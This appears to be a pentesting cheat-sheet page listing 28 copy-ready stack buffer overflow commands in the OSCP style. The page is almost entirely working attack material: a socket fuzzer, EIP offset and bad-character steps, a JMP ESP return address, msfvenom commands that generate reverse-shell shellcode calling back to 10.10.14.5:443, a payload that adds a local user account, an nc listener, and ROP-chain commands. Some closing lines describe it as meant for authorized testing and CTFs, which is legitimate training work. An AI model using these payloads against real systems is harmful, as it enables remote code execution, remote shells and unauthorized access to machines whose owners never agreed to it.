Copy-ready commands for OSCP-style stack buffer overflow exploitation: fuzzing, EIP offset, bad chars, JMP ESP, shellcode, and DEP/ROP. (28 payloads)
python3 -c 'print("A" * 100)'buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(bytes(buffer + "\r\n", "latin-1"))
s.close()
print("Sent: %d bytes" % len(buffer))
buffer += "A" * 100
except:
print("Crashed at %d bytes" % len(buffer))
sys.exit(0)spike: tcp generic fuzzer
generic_send_tcp <ip> <port> <spike_script> 0 0!mona config -set workingfolder c:\mona\%pmsf-pattern_create -l 400/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400msf-pattern_offset -l 400 -q 39694438!mona findmsp -distance 400offset = 524
payload = "A" * offset + "B" * 4 + "C" * 200badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
... through \xff )for ($i = 0x01; $i -le 0xff; $i++) {[char][byte]$i}!mona bytearray -b "\x00"!mona compare -f c:\mona\bytearray.bin -a <ESP_address>!mona jmp -r esp -cpb "\x00\x0a\x0d"!mona modulesmsf-nasm_shell
nasm > jmp espret = struct.pack("<I", 0x625011af)gdb-peda$ jmpcall espmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f python -v shellcodemsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b "\x00" -f c -e x86/shikata_ga_naimsfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f python -b "\x00\x0a\x0d"msfvenom -p windows/exec CMD="net user pwn Password123! /add" -b "\x00" -f pythonnc -nvlp 443payload = "A"*offset + ret + "\x90"*16 + shellcodenops = "\x90" * 16!mona ropchain -m "module1,module2" -cpb "\x00\x0a\x0d"!mona rop -m *.dll -cpb "\x00\x0a\x0d"ROPgadget --binary ./vuln --only "pop|ret"Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 28 Buffer Overflow payloads for testing Buffer Overflow vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Shellcode Encoder & Formatter to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Buffer Overflow payloads are completely free, with no account required. Everything runs in your browser.